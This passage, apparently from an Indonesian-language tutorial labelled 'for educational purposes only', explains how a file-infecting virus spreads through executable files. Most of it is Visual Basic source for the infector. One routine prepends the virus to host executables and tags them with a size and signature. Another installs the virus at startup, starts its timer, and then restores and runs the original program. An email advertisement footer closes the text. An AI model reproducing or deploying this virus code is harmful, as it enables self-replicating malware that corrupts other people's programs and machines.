Menyebarkan dirinya melalui media file executable

Program virus harus dapat menginfeksi program-program
executable dengan proses
sebagai berikut :
Program Executable
Setelah terinfeksi oleh program virus menjadi :
Program Virus + Program Executable + Ukuran Virus +
Signature Virus
Sehingga setiap kali program yang telah terinfeksi
dijalankan, maka Program Virus akan
menginstalasi dirinya ke computer korban dan mengembalikan
proses ke Program
Executable.
Jadi pada saat program terinfeksi dijalankan, maka Program
Executable harus di pulihkan
kembali dengan melakukan perhitungan :
Posisi Program Executable = Ukuran File – Ukuran
Virus – Ukuran Signature Virus
Sesuatu hal yang harus diperhatikan adalah infeksi
terhadap Program Executable tidak
boleh dilakukan berulang-ulang dan tidak boleh menginfeksi
diri Program Virus sendiri,
sehingga harus ditambahkan suatu Signature Virus
Private Sub PeriksadanInfeksiExe(fname As String)
Dim tSignature As String * 5
Dim OriginalCode As String
Dim fNum As Integer
'Jangan menginfeksi diri sendiri
'Hanya menginfeksi file berukuran lebih dibawah 1 Mega
If Dir(fname) <> "" Then
If FileLen&(fname) > virSize And FileLen&(fname) < 1048576
Then
'Ambil nomor file
fNum = FreeFile
Open fname For Binary Access Read As fNum 'Buka file
target
Seek fNum, LOF(fNum) - 5 + 1
'pindah file pointer ke posisi Signature Virus
tSignature = Space$(5)
Get fNum, , tSignature
'baca tSignature
Close fNum
If tSignature <> virSignature Then
'jika file virus (tidak ada virSignature)
On Error GoTo finally
Open fname For Binary Access Read Write As fNum 'Buka file
target
OriginalCode = Space$(LOF(fNum))
Get fNum, , OriginalCode
'baca Program Executable
Put fNum, 1, virCode
'tulis Program Virus diawal
Put fNum, , OriginalCode
'tulis Program Executable
Put fNum, , virSize
'tulis Ukuran Virus
Put fNum, , virSignature
'tulis Signature VirusPage 3

Hanya untuk tujuan pendidikan saja
3
Close fNum
finally:
End If
End If
End If
End Sub
Ketika program Executable dijalankan maka :
Private Sub VirusInitial()
Dim OriginalCode As String
Dim tSignature As String * 5
Dim fNum As Integer
Dim fname As String
virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153)
+ Chr$(203)
Open exePath + App.EXEName + ".exe" For Binary Access Read
As #1
Seek #1, LOF(1) - 5 + 1
'pindah file pointer ke posisi virSize
tSignature = Space$(5)
Get #1, , tSignature
'baca virSignature
If tSignature <> virSignature Then 'Jika file virus
sendiri
virSize = LOF(1)
'ukuran virSize sama dengan ukuran file
virCode = Space$(virSize)
'siapkan buffer virCode
Seek #1, 1
'ke posisi bof
Get #1, , virCode
'baca virCode sebesar ukuran virSize
Close #1
Call VirInstall
'instalasi virus
If Not SudahLoad Then
Load ff
'aktifkan timer virus
End If
'Jika file yang terinfeksi
Else
Seek #1, LOF(1) - 9 + 1
'pindah file pointer ke posisi virSize
Get #1, , virSize
'baca virSize (long = 4 byte)
'Baca vircode
virCode = Space$(virSize)
Seek #1, 1
'ke posisi BOF (Awal file)
Get #1, , virCode
'baca virCode sebesar ukuran virSize
OriginalCode = Space$(LOF(1) - virSize)
'siapkan buffer
Get #1, , OriginalCode
'baca originalCodePage 4

Hanya untuk tujuan pendidikan saja
4
fNum = 0
Do While Dir(exePath & App.EXEName & fNum & ".exe") <> ""
fNum = fNum + 1
Loop
fname = exePath & App.EXEName & fNum & ".exe"
On Error GoTo finally
Open fname For Binary Access Write As #2
Put #2, , OriginalCode
'tulis ke file sementara
Close #2
'tutup file sementara
finally:
Close #1
Call VirInstall
If Not SudahLoad Then
Load ff
'aktifkan timer virus
End If
Call ExecuteOriginal(fname)
Kill fname
'hapus file sementara
End If
End Sub
Private Sub ExecuteOriginal(fname)
Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus)
'jalankan fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
GetExitCodeProcess HProc, HExit
'ambil status aktif
Do While HExit = STILL_ACTIVE
'proses ditahan selama proses masih aktif
DoEvents
'lakukan event yang lain
GetExitCodeProcess HProc, HExit
Loop
End Sub
Private Function SudahLoad() As Boolean
Dim vir_hwnd As Long
'Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function

---------------------------------------------------------------------------
Pengen Coba Music Mail GRATIS? Aktifkan Music Mail anda di mail Telkom.net dan Plasa.com
dan kirim email dengan Music Mail ke seluruh rekan anda. Berlaku hingga 31 Agustus 2007.
---------------------------------------------------------------------------